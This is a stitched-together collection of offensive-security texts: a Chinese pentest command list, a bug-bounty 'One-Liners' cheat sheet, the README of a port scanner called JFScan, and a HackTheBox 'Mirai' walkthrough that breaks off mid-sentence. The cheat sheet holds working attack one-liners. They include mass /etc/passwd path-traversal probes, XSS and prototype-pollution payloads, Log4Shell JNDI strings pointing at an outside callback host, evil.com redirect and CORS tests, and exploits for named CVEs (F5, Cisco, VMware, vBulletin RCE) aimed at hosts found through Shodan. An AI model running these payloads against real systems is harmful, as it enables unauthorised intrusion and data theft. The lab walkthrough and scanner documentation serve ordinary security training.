for i in $(cat 200.txt);do echo "xray scanning $i" ; ./xray webscan --browser-crawler $i --html-output vuln.html; done ``` **XSS扫描** https://github.com/hahwul/dalfox ``` cat url.txt | hakrawler -subs |grep -v key | grep key |grep -v google | grep = | dalfox pipe --silence --skip-bav ``` ``` echo "http://m.client.10010.com" | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars";done | tee 10010.out ``` 来源;https://www.t00ls.com/viewthread.php?tid=63173&highlight=XSS 一键查找任意文件读取Credit: @Alra3ees , i just changed it a bit ``` subfinder -silent -dL domain.txt | dnsx -silent | naabu -top-ports 1000 -silent| gau | gf lfi | httpx -path lfi_wordlist.txt -threads 100 -random-agent -x GET,POST -tech-detect -status-code -follow-redirects -mc 200 -mr "root:[x*]:0:0:" ``` 隐藏参数枚举 https://github.com/s0md3v/Arjun ``` 单目标扫描 arjun -u https://api.example.com/endpoint 单目标扫描输出 arjun -u https://api.example.com/endpoint -oJ result.json 多目标扫描 arjun -i targets.txt 指定方法 arjun -u https://api.example.com/endpoint -m POST ``` 一行代码组成的XSS扫描器(适合无WAF场景)【单论反射XSS,XRAY可封神】 ``` echo url | subfinder -silent | waybackurls | grep "=" | grep -Ev ".(jpeg|jpg|png|svg|gif|ico|js|css|txt|pdf|woff|woff2|eot|ttf|tif|tiff)" | sed -e 's/=[^?\|&amp;]*/=/g' -e 's/=/=xssspayload/g' | sort -u | httpx -silent -probe -ms "xsspayload" ``` XRAY自动化查找单漏洞 ``` xargs -a urls.txt -I@ sh -c './xray_linux_amd64 webscan --plugins cmd-injection,sqldet,xss --url "@" --html-output vuln.html' .\xray.exe webscan --listen 127.0.0.1:7777 --plugins sqldet,brute-force --html-output xray-testphhjp.html ``` 使用扫描器nuclei扫描安卓漏洞 ``` find . -iname "*.apk" -exec apktool d -o {}_out {} \; echo vph3.apk_out | nuclei -t mobile-nuclei-templates/ nuclei -target "android testing"/allapks/ -t /mobile-nuclei-templates/ echo /output_apktool/ | nuclei -t Keys/ 使用POC https://github.com/optiv/mobile-nuclei-templates ``` 文件夹下文件整理 ``` dir/b>E:\鱼1.xls" dir/b>C:\Users\1均\Desktop\HW\HW漏洞列表.xls" ``` BURP不抓火狐的包 ``` 火狐地址搜索 about:config network.captive-portal-service 把true改成fale ``` index of 打包 ``` wget -r --no-pare target.com/dir ``` 渗透测试中的资产获取 ``` wget https://raw.githubusercontent.com/modood/Administrative-divisions-of-China/master/dist/pcas.json cat pcas.json |jq '."北京市"'>out.txt #获取北京市所有辖区、街道信息cat pcas.json |jq '."北京市"."市辖区"'>out.txt cat pcas.json |jq '."北京市"."市辖区"."东城区"'>out.txt #获取北京市东城区所有街道信息 ``` 有时候文件太大,想先确认一下文件结构和部分内容,这时可以使用 remotezip,直接列出远程 zip 文件的内容,而无需完全下载,甚至可以远程解压,仅下载部分内容 ``` pip3 install remotezip remotezip -l "http://site/bigfile.zip"#列出远程zip文件的内容 remotezip "http://site/bigfile.zip""file.txt"#从远程zip⽂件解压出file.txt ``` 整理字典时,推荐用linux下的工具快速合并和去重 ``` cat file1.txt file2.txt fileN.txt >out.txt sort out.txt |uniq >out2.txt ``` docker 快速安装AWVS扫描器,配合批量添加脚本,在市级HVV上抢占一些高危漏洞点 ``` # pull 拉取下载镜像 docker pull secfa/docker-awvs # 将Docker的3443端口映射到物理机的 13443端口 docker run -it -d -p 13443:3443 secfa/docker-awvs # 容器的相关信息 awvs13 username: [email protected] awvs13 password: Admin123 ```
# One-Liners [![Awesome](https://awesome.re/badge-flat2.svg)](https://awesome.re) ###### Thanks to all who create these Awesome One Liners❤️ ---------------------- ![image](https://user-images.githubusercontent.com/75373225/180003557-59bf909e-95e5-4b31-b4f8-fc05532f9f7c.png) --------------------------- # Subdomain Enumeration **Juicy Subdomains** ``` subfinder -d target.com -silent | dnsprobe -silent | cut -d ' ' -f1 | grep --color 'api\|dev\|stg\|test\|admin\|demo\|stage\|pre\|vpn' ``` **from BufferOver.run** ``` curl -s https://dns.bufferover.run/dns?q=.target.com | jq -r .FDNS_A[] | cut -d',' -f2 | sort -u ``` **from Riddler.io** ``` curl -s "https://riddler.io/search/exportcsv?q=pld:target.com" | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u ``` **from nmap** ``` nmap --script hostmap-crtsh.nse target.com ``` **from CertSpotter** ``` curl -s "https://certspotter.com/api/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u ``` **from Archive** ``` curl -s "http://web.archive.org/cdx/search/cdx?url=*.target.com/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u ``` **from JLDC** ``` curl -s "https://jldc.me/anubis/subdomains/target.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u ``` **from crt.sh** ``` curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u ``` **from ThreatMiner** ``` curl -s "https://api.threatminer.org/v2/domain.php?q=target.com&rt=5" | jq -r '.results[]' |grep -o "\w.*target.com" | sort -u ``` **from Anubis** ``` curl -s "https://jldc.me/anubis/subdomains/target.com" | jq -r '.' | grep -o "\w.*target.com" ``` **from ThreatCrowd** ``` curl -s "https://www.threatcrowd.org/searchApi/v2/domain/report/?domain=target.com" | jq -r '.subdomains' | grep -o "\w.*target.com" ``` **from HackerTarget** ``` curl -s "https://api.hackertarget.com/hostsearch/?q=target.com" ``` ***SubDomain Bruteforcing - ffuf*** ``` ffuf -u https://FUZZ.target.com -w dns.txt -v | grep "| URL |" | awk '{print $4}' ``` -------- ## Subdomain Takeover: ``` cat subs.txt | xargs -P 50 -I % bash -c "dig % | grep CNAME" | awk '{print $1}' | sed 's/.$//g' | httpx -silent -status-code -cdn -csp-probe -tls-probe ``` ------------------------------- ## LFI: ``` cat hosts | gau | gf lfi | httpx -paths lfi_wordlist.txt -threads 100 -random-agent -x GET,POST -tech-detect -status-code -follow-redirects -mc 200 -mr "root:[x*]:0:0:" ``` ``` waybackurls target.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' ``` ``` cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n";done ``` ---------------------- ## Open Redirect: ``` waybackurls target.com | grep -a -i \=http | qsreplace 'http://evil.com' | while read host do;do curl -s -L $host -I| grep "http://evil.com" && echo -e "$host \033[0;31mVulnerable\n" ;done ``` ``` cat subs.txt| waybackurls | gf redirect | qsreplace 'http://example.com' | httpx -fr -title -match-string 'Example Domain' ``` ----------------------- ## SSRF: ``` cat wayback.txt | gf ssrf | sort -u |anew | httpx | qsreplace 'burpcollaborator_link' | xargs -I % -P 25 sh -c 'curl -ks "%" 2>&1 | grep "compute.internal" && echo "SSRF VULN! %"' ``` ``` cat wayback.txt | grep "=" | qsreplace "burpcollaborator_link" >> ssrf.txt; ffuf -c -w ssrf.txt -u FUZZ ``` ---------------- ## XSS: ``` cat domains.txt | waybackurls | grep -Ev "\.(jpeg|jpg|png|ico)$" | uro | grep = | qsreplace "<img src=x onerror=alert(1)>" | httpx -silent -nc -mc 200 -mr "<img src=x onerror=alert(1)>" ``` ``` gau target.com grep '='| qsreplace hack\" -a | while read url;do target-$(curl -s -l $url | egrep -o '(hack" | hack\\")'); echo -e "Target : \e[1;33m $url\e[om" "$target" "\n -"; done I sed 's/hack"/[xss Possible] Reflection Found/g' ``` ``` cat hosts.txt | httpx -nc -t 300 -p 80,443,8080,8443 -silent -path "/?name={{this.constructor.constructor('alert(\"foo\")')()}}" -mr "name={{this.constructor.constructor('alert(" ``` ``` cat targets.txt | waybackurls | httpx -silent | Gxss -c 100 -p Xss | grep "URL" | cut -d '"' -f2 | sort -u | dalfox pipe ``` ``` waybackurls target.com | grep '=' |qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -s --path-as-is --insecure "$host" | grep -qs "<script>alert(1)</script>" && echo "$host \033[0;31m" Vulnerable;done ``` ``` cat urls.txt | grep "=" | sed ‘s/=.*/=/’ | sed ‘s/URL: //’ | tee testxss.txt ; dalfox file testxss.txt -b yours.xss.ht ``` ``` cat targets.txt | ffuf -w - -u "FUZZ/sign-in?next=javascript:alert(1);" -mr "javascript:alert(1)" ``` ``` cat subs.txt | awk '{print $3}'| httpx -silent | xargs -I@ sh -c 'python3 http://xsstrike.py -u @ --crawl' ``` --------------------- ## Hidden Dirs: ``` dirsearch -l urls.txt -e conf,config,bak,backup,swp,old,db,sql,asp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,old,sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip,log,xml,js,json --deep-recursive --force-recursive --exclude-sizes=0B --random-agent --full-url -o output.txt ``` ``` ffuf -c -w urls.txt:FUZZ1 -w wordlist.txt:FUZZ2 -u FUZZ1/FUZZ2 -mc 200 -ac -v -of html -o output ``` **Search for Sensitive files from Wayback** ``` waybackurls domain.com| grep - -color -E "1.xls | \\. xml | \\.xlsx | \\.json | \\. pdf | \\.sql | \\. doc| \\.docx | \\. pptx| \\.txt| \\.zip| \\.tar.gz| \\.tgz| \\.bak| \\.7z| \\.rar" ``` ``` cat hosts.txt | httpx -nc -t 300 -p 80,443,8080,8443 -silent -path "/s/123cfx/_/;/WEB-INF/classes/seraph-config.xml" -mc 200 ``` ------------------- ## SQLi: ``` cat subs.txt | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli -batch --random-agent --level 5 --risk 3 ``` ***Bypass WAF using TOR*** ``` sqlmap -r request.txt --time-sec=10 --tor --tor-type=SOCKS5 --check-tor ``` ---------------- ## CORS: ``` gau "http://target.com" | while read url;do target=$(curl -s -I -H "Origin: https://evil.com" -X GET $url) | if grep 'https://evil.com'; then [Potentional CORS Found]echo $url;else echo Nothing on "$url";fi;done ``` --------------- ## Prototype Pollution: ``` subfinder -d target.com -all -silent | httpx -silent -threads 300 | anew -q alive.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' alive.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE" ``` ------------- ## CVEs: ### CVE-2020-5902: ``` shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done ``` ### CVE-2020-3452: ``` while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < domain_list.txt ``` ### CVE-2021-44228: ``` cat subdomains.txt | while read host do; do curl -sk --insecure --path-as-is "$host/?test=${jndi:ldap://log4j.requestcatcher.com/a}" -H "X-Api-Version: ${jndi:ldap://log4j.requestcatcher.com/a}" -H "User-Agent: ${jndi:ldap://log4j.requestcatcher.com/a}";done ``` ``` cat urls.txt | sed `s/https:///` | xargs -I {} echo `{}/${jndi:ldap://{}attacker.burpcollab.net}` >> lo4j.txt ``` ### CVE-2022-0378: ``` cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done ``` ### CVE-2022-22954: ``` cat urls.txt | while read h do ; do curl -sk --path-as-is “$h/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/hosts")}”| grep "context" && echo "$h\033[0;31mV\n"|| echo "$h \033[0;32mN\n";done ``` ### CVE-2022-41040: ``` ffuf -w "urls.txt:URL" -u "https://URL/autodiscover/autodiscover.json?@URL/&Email=autodiscover/autodiscover.json%3f@URL" -mr "IIS Web Core" -r ``` --------- ## RCE: ``` cat targets.txt | httpx -path "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id" -nc -ports 80,443,8080,8443 -mr "uid=" -silent ``` ### vBulletin 5.6.2 ``` shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done; ``` ``` subfinder -d target.com | httpx | gau | qsreplace “aaa%20%7C%7C%20id%3B%20x” > fuzzing.txt; ffuf -ac -u FUZZ -w fuzzing.txt -replay-proxy 127.0.0.1:8080 ``` ----------- ## JS Files: ### Find JS Files: ``` gau -subs target.com |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> js.txt ``` ``` assetfinder target.com | waybackurls | egrep -v '(.css|.svg)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars" ``` ### Hidden Params in JS: ``` cat subdomains.txt | gauplus -subs -t 100 -random-agent | sort -u --version-sort | httpx -silent -threads 2000 | grep -Eiv '(.eot|.jpg|.jpeg|.gif|.css|.tif|.tiff|.png|.ttf|.otf|.woff|.woff2|.ico|.svg|.txt|.pdf)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -Eiv '\.js$|([^.]+)\.js|([^.]+)\.js\.[0-9]+$|([^.]+)\.js[0-9]+$|([^.]+)\.js[a-z][A-Z][0-9]+$' | sed 's/.*/&=FUZZ/g'); echo -e "\e[1;33m$url\e[1;32m$vars";done ``` ### Extract sensitive end-point in JS: ``` cat main.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -u ``` ------------------------- ### SSTI: ``` for url in $(cat targets.txt); do python3 tplmap.py -u $url; print $url; done ``` --------------------------- ## HeartBleed ``` cat urls.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line; safe; done ``` ------------------ ## Scan IPs ``` cat my_ips.txt | xargs -L100 shodan scan submit --wait 0 ``` ## Portscan ``` naabu -l targets.txt -rate 3000 -retries 3 -warm-up-time 0 -rate 150 -c 50 -ports 1-65535 -silent -o out.txt ``` ## Screenshots using Nuclei ``` nuclei -l target.txt -headless -t nuclei-templates/headless/screenshot.yaml -v ``` ## IPs from CIDR ``` echo cidr | httpx -t 100 | nuclei -t ~/nuclei-templates/ssl/ssl-dns-names.yaml | cut -d " " -f7 | cut -d "]" -f1 | sed 's/[//' | sed 's/,/\n/g' | sort -u ``` ``` mapcidr -cidr <CIDR> -silent ``` ## SQLmap Tamper Scripts - WAF bypass ``` sqlmap -u 'http://www.site.com/search.cmd?form_state=1' --level=5 --risk=3 --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes --no-cast --no-escape --dbs --random-agent ``` ## Shodan Cli ``` shodan search Ssl.cert.subject.CN:"target.com" 200 --field ip_str | httpx -silent | tee ips.txt ``` ### ffuf txt output ``` ffuf -w wordlists.txt -u URL/FUZZ -r -ac -v &>> output.txt ; sed -i 's/\:\: Progress.*Errors.*\:\://g' output.txt ; sed -i 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' output.txt ``` ### Ffuf json to only url ``` cat ffuf.json | jq | grep "url" | sed 's/"//g' | sed 's/url://g' | sed 's/^ *//' | sed 's/,//g' ``` ## Recon Oneliner from Stok ``` subfinder -d moonpay.com -silent | anew moonpay-subs.txt | dnsx -resp -silent | anew moonpay-alive-subs-ip.txt | awk '{print $1}' | anew moonpay-alive-subs.txt | naabu -top-ports 1000 -silent | anew moonpay-openports.txt | cut -d ":" -f1 | naabu -passive -silent | anew moonpay-openports.txt | httpx -silent -title -status-code -mc 200,403,400,500 | anew moonpay-web-alive.txt | awk '{print $1}' | gospider -t 10 -q -o moonpaycrawl | anew moonpay-crawled.txt | unfurl format %s://dtp | httpx -silent -title -status-code -mc 403,400,500 | anew moonpay-crawled-interesting.txt | awk '{print $1}' | gau --blacklist eot,svg,woff,ttf,png,jpg,gif,otf,bmp,pdf,mp3,mp4,mov --subs | anew moonpay-gau.txt | httpx -silent -title -status-code -mc 200,403,400,500 | anew moonpay-web-alive.txt | awk '{print $1}'| nuclei -eid expired-ssl,tls-version,ssl-issuer,deprecated-tls,revoked-ssl-certificate,self-signed-ssl,kubernetes-fake-certificate,ssl-dns-names,weak-cipher-suites,mismatched-ssl-certificate,untrusted-root-certificate,metasploit-c2,openssl-detect,default-ssltls-test-page,wordpress-really-simple-ssl,wordpress-ssl-insecure-content-fixer,cname-fingerprint,mx-fingerprint,txt-fingerprint,http-missing-security-headers,nameserver-fingerprint,caa-fingerprint,ptr-fingerprint,wildcard-postmessage,symfony-fosjrouting-bundle,exposed-sharepoint-list,CVE-2022-1595,CVE-2017-5487,weak-cipher-suites,unauthenticated-varnish-cache-purge,dwr-index-detect,sitecore-debug-page,python-metrics,kubernetes-metrics,loqate-api-key,kube-state-metrics,postgres-exporter-metrics,CVE-2000-0114,node-exporter-metrics,kube-state-metrics,prometheus-log,express-stack-trace,apache-filename-enum,debug-vars,elasticsearch,springboot-loggers -ss template-spray | notify -silent ``` ## Update golang ``` curl https://raw.githubusercontent.com/udhos/update-golang/master/update-golang.sh|sudo bash ``` > **More Scripts Coming Sooon :)** _______________________________________________________________________________________________________________________________
![logo](screenshots/logo.png) ![GitHub](https://img.shields.io/github/license/nullt3r/jfscan) ![GitHub release (latest by date)](https://img.shields.io/github/v/release/nullt3r/jfscan) ![Rating](https://img.shields.io/github/stars/nullt3r/jfscan?style=social) [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) # Description ## Killing features * Unleash the power of Nmap with Masscan for large-scale scans * Scan targets using domain names and other formats * Output results in a clean domain:port format * Stream results to and from other tools using stdin/stdout mode * Enjoy hassle-free scanning with automatic packet rate adjustment for Masscan * Generate professional-grade Nmap XML reports * Scan IPv6 targets without any issues * Stay focused and on target with scope control JFScan is a wrapper that leverages the speed of Masscan and Nmap's fingerprinting capabilities. JFScan accepts targets in the form of URLs, domains, or IPs (including CIDR). You can specify a file with targets using an argument, or use stdin. JFScan also allows you to output only the results and chain them with other tools like Nuclei. The domain:port output of JFScan is crucial for identifying vulnerabilities in web applications, as the virtual host determines which content will be served. In addition, JFScan can scan discovered ports with Nmap, and enables you to define custom options and leverage Nmap's advanced scripting capabilities. ![nmap](screenshots/usage1.png) ![usage2](screenshots/usage2.png) JFScans logic of input & output processing: ![diagram](screenshots/for_dummies.png) # Usage ``` usage: jfscan [-h] [--targets TARGETS] (-p PORTS | --top-ports TOP_PORTS | --yummy-ports) [--resolvers RESOLVERS] [--enable-ipv6] [--scope SCOPE] [-r MAX_RATE] [--wait WAIT] [--disable-auto-rate] [-i INTERFACE] [--source-ip SOURCE_IP] [--router-ip ROUTER_IP] [--router-mac ROUTER_MAC] [--router-mac-ipv6 ROUTER_MAC_IPV6] [-oi] [-od] [-o OUTPUT] [-q | -v] [--nmap] [--nmap-options NMAP_OPTIONS] [--nmap-threads NMAP_THREADS] [--nmap-output NMAP_OUTPUT] [--version] [target] JFScan - Just Fu*king Scan optional arguments: -h, --help show this help message and exit -p PORTS, --ports PORTS ports, can be a range or port list: 0-65535 or 22,80,100-500,... --top-ports TOP_PORTS scan only N of the top ports, e. g., --top-ports 1000 --yummy-ports scan only for the most yummy ports -q, --quite output only results -v, --verbose verbose output --nmap run nmap on discovered ports --nmap-options NMAP_OPTIONS nmap arguments, e. g., --nmap-options='-sV' or --nmap-options='-sV --script ssh-auth-methods' --nmap-threads NMAP_THREADS number of nmaps to run concurrently, default 8 --nmap-output NMAP_OUTPUT output results from nmap to specified file in standard XML format (same as nmap option -oX) target a target or targets separated by a comma, accepted form is: domain name, IPv4, IPv6, URL --targets TARGETS file with targets, accepted form is: domain name, IPv4, IPv6, URL -oi, --only-ips output only IP adresses, default: all resources -od, --only-domains output only domains, default: all resources -o OUTPUT, --output OUTPUT output masscan's results to specified file --resolvers RESOLVERS custom resolvers separated by a comma, e. g., 8.8.8.8,1.1.1.1 --enable-ipv6 enable IPv6 support, otherwise all IPv6 addresses will be ignored in the scanning process --scope SCOPE file path with IP adresses and CIDRs to control scope, expected format: IPv6, IPv4, IPv6 CIDR, IPv4 CIDR -r MAX_RATE, --max-rate MAX_RATE max kpps rate for the masscan --wait WAIT a number of seconds to wait for packets to arrive (when scanning large networks), option for the masscan --disable-auto-rate disable rate adjustment mechanism for masscan (more false positives/negatives) -i INTERFACE, --interface INTERFACE interface for masscan and nmap to use --source-ip SOURCE_IP IP address of your interface for the masscan --router-ip ROUTER_IP IP address of your router for the masscan --router-mac ROUTER_MAC MAC address of your router for the masscan --router-mac-ipv6 ROUTER_MAC_IPV6 MAC address of your IPv6 router for the masscan --version show program's version number and exit ``` Please follow installation instructions before running. Do not run the JFScan under a root, it's not needed since we set a special permissions on the masscan binary. ## Example Scan targets for only for ports 80 and 443 with rate of 10 kpps: `$ jfscan -p 80,443 --targets targets.txt -r 10000` Scan targets for top 1000 ports : `$ jfscan --top-ports 1000 1.1.1.1/24` You can also specify targets on stdin and pipe it to nuclei: `$ cat targets.txt | jfscan --top-ports 1000 -q | httpx -silent | nuclei` Or as positional parameter: `$ jfscan --top-ports 1000 1.1.1.1/24 -q | httpx -silent | nuclei` Or everything at once, the JFScan just does not care and scans all the targets specified: `$ echo target1 | jfscan --top-ports 1000 target2 --targets targets.txt -q | httpx -silent | nuclei` Utilize nmap to gather more info about discovered services: `$ cat targets.txt | jfscan -p 0-65535 --nmap --nmap-options="-sV --scripts ssh-auth-methods"` The targets.txt can contain targets in the following forms (IPv6 similarly): ``` http://domain.com/ domain.com 1.2.3.4 1.2.3.0/24 1.1.1.1-1.1.1.30 ``` # Installation 1. Before installation, make sure you have the latest version of Masscan installed (tested version is 1.3.2). First, install a libpcap-dev (Debian based distro) or libcap-devel (Centos based distro): ``` sudo apt install libpcap-dev ``` Next, clone the official repository and install: ``` sudo apt-get --assume-yes install git make gcc git clone https://github.com/robertdavidgraham/masscan cd masscan make sudo make install ``` 1. The Masscan requires root permissions to run. Since running binaries under root is not good idea, we will set a CAP_NET_RAW capability to the binary: ``` sudo setcap CAP_NET_RAW+ep /usr/bin/masscan ``` 3. For installation of JFscan a python3 and pip3 is required. ``` sudo apt install python3 python3-pip ``` 4. Install JFScan: ``` $ git clone https://github.com/nullt3r/jfscan.git $ cd jfscan $ pip3 install . ``` If you can't run the jfscan directly from command line you should check if $HOME/.local/bin is in your path. Add the following line to your `~/.zshrc` or `~/.bashrc`: ``` export PATH="$HOME/.local/bin:$PATH" ``` # License Read file LICENSE. # Disclaimer I am not responsible for any damages. You are responsible for your own actions. Attacking targets without prior mutual consent is illegal. ___ \* *When scanning smaller network ranges, you can just use nmap directly, there is no need to use JFScan. You can reach up to 70% of the speed of JFScan using the following options:* ``` nmap -Pn -n -v yourTargetNetwork/26 -p- --min-parallelism 64 --min-rate 20000 --min-hostgroup 64 --randomize-hosts -sS -sV ``` *As always, expect some false positivies/negatives.*
# MACHINE CHALLENGE: MIRAI ## Challenge Description ##### Own system Type below the hash that is inside the root.txt file in the machine. The file can be found under /root on Linux machines and at the Desktop of the Administrator on Windows. ##### Own User Type below the hash that is inside the user.txt file in the machine. The file can be found under /home/{username} on Linux machines and at the Desktop of the user on Windows. ``` IP Address: 10.10.10.48 OS: Linux ``` ### NAME OF THE MACHINE AS A HINT? ``` https://en.wikipedia.org/wiki/Mirai_(malware) ``` ``` Mirai (Japanese for "the future", 未来) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. <...> Mirai then identifies vulnerable IoT devices using a table of more than 60 common factory default usernames and passwords ``` Okay.. so seems like it has something to do with default passwords for an IoT device? ### PORTSCANNING w/ NMAP Use `nmap` to see if we can detect what services our host is offering, what operating system (and version) our host is running, what type of packet filters/firewalls are in use, etc. ``` $ sudo nmap -A -sS -T4 10.10.10.48 Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-16 13:25 EST Nmap scan report for 10.10.10.48 Host is up (0.36s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) | ssh-hostkey: | 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA) | 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA) | 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA) |_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (EdDSA) 53/tcp open domain dnsmasq 2.76 | dns-nsid: |_ bind.version: dnsmasq-2.76 80/tcp open http lighttpd 1.4.35 |_http-server-header: lighttpd/1.4.35 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 8000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.9) |_http-server-header: SimpleHTTP/0.6 Python/2.7.9 |_http-title: Directory listing for / No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.60%E=4%D=12/16%OT=22%CT=1%CU=43221%PV=Y%DS=2%DC=T%G=Y%TM=5A3565 OS:51%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10E%TI=Z%CI=I%TS=8)SEQ(SP= OS:105%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=8)SEQ(SP=105%GCD=1%ISR=10E%TI=Z%II=I OS:%TS=8)OPS(O1=M54BST11NW6%O2=M54BST11NW6%O3=M54BNNT11NW6%O4=M54BST11NW6%O OS:5=M54BST11NW6%O6=M54BST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6 OS:=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54BNNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD= OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0% OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1( OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI= OS:N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 1723/tcp) HOP RTT ADDRESS 1 396.05 ms 10.10.16.1 2 192.08 ms 10.10.10.48 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 51.88 seconds ``` So we have 4 open services running - ssh(22), dns(53), http(80), http(8000). ### ENUMERATING PORT 80 (HTTP) Visiting the webpage we see nothing. Attempting to enumerate through directory bruteforcing using `gobuster`.. ``` $ gobuster -e -u 10.10.10.48 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt Gobuster v1.2 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.48/ [+] Threads : 10 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 200,204,301,302,307 [+] Expanded : true ===================================================== http://10.10.10.48/admin (Status: 301) http://10.10.10.48/versions (Status: 200) ``` Found something called "Pi-hole Admin Console" running at `10.10.10.48:80/admin`. Pi-hole claims to be a "black hole for Internet advertisements"? ``` http://10.10.10.48/admin ``` <img src="pi-hole-admin.jpg" width=500px/> ``` *Pi-hole can protect your network from malware* You can add additional block lists to your installation that will prevent domains that are known to serve malware or act as a phishing site from ever entering your network. ``` On the admin console, I see an option to login that requests just a password, no username. ``` http://10.10.10.48/admin/index.php?login ``` <img src="pi-hole-login.jpg" width=500px/> Under "forgot password", I see that you can `ssh` into the machine and run the following command to reset your password (apparently no way to recover the password that is provided during installation). ``` $ sudo pihole -a -p ``` Not sure if this is leading anywhere.. ### ENUMERATING PORT 22 (SSH) So let's 